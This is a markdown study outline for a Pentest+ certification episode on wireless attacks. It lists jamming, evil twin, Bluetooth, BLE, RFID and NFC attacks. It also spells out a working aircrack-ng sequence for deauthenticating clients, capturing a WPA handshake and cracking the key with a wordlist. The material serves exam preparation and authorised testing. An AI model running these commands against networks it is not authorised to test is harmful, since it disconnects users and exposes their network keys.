

- Filename: comptia-pentest-plus-pt0-002-3-7-1-wireless-attacks.md
- Show Name: Pentest+ (PT0-002)
- Topic Name: Attacks and Exploits
- Episode Name: Wireless Attacks

Wireless Attacks

Objectives:

- List and describe common wireless-based attacks and attack tools
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- General Attacks

- Jamming
- Spoofing
- Data Corruption/Modification

- WiFi

- aircrack-ng

- `sudo airmon-ng start wlan0`
- `sudo airodump-ng wlan0mon`
 - Record the BSSID if the target device
- `sudo airodump-ng -c 6 --bssid <Target_MAC> -w psk wlan0mon`
 - This will show connected clients MAC addresses

- Deauthentication

- `sudo aireplay-ng --deauth 25 -h <Client_to_deauth_MAC> -a 00:1C:DF:89:84:9F wlan0mon`

- Capture Handshakes

- Put wireless card into monitoring mode
 - `airmon-ng -start wlan0`
- Find BSSID of target AP
 - `airodump-ng wlan0mon`
 - Record BSSID and channel of Target AP
- Monitor target AP
 - `airodump-ng -c 6 --bssid 00:1C:DF:89:84:9F -w ceh.cap wlan0mon`
 - -c = channel number
 - -w = write out file location
- Wait for 4-way handshake or force with `aireplay-ng`
 - Force 4-way handshake
 - `aireplay-ng -0 2 -a 00:1C:DF:89:84:9F -c <clientMAC> wlan0mon`
 - Check the `airodump-ng` capture for 4-way handshake
- Time to crack the WPA key

- `aircrack-ng -a2 -b 00:1C:DF:89:84:9F -w ~/Documents/rockyou.txt *.cap`
 - Record the cracked PSK
- WPS
- Evil Twin
 - Eavesdropping
 - MitM (on-path)
- Bluetooth
 - BlueJacking
 - Sending messages to devices using Contacts
 - Attacker creates a new contact
 - Instead of name/number, attacker saves a message in those areas
 - Scan for Bluetooth devices
 - Shares the contact
 - Target receives the message/contact with no knowledge of who sent it
 - BlueSnarfing
 - Attacker is able to connect to victim without auth to see contacts, email, calendars, text messages, pictures, etc
 - Bluetooth Low Energy(BLE) Attack
 - Flaws in BLE security allows for
 - Spoofing attacks
 - Man-in-the-Middle attacks
- RFID Cloning
 - <https://proxmark.com>
- Amplification Attacks (NFC)
 - Based off of RFID
 - Can be cloned
 - Transmissions can be eavesdropped at up to 10meters with help from antenna
 - Signal can be jammed
 - Signal can be modified
 - Corrupted
 - Inserted
 - MITM
 - No encryption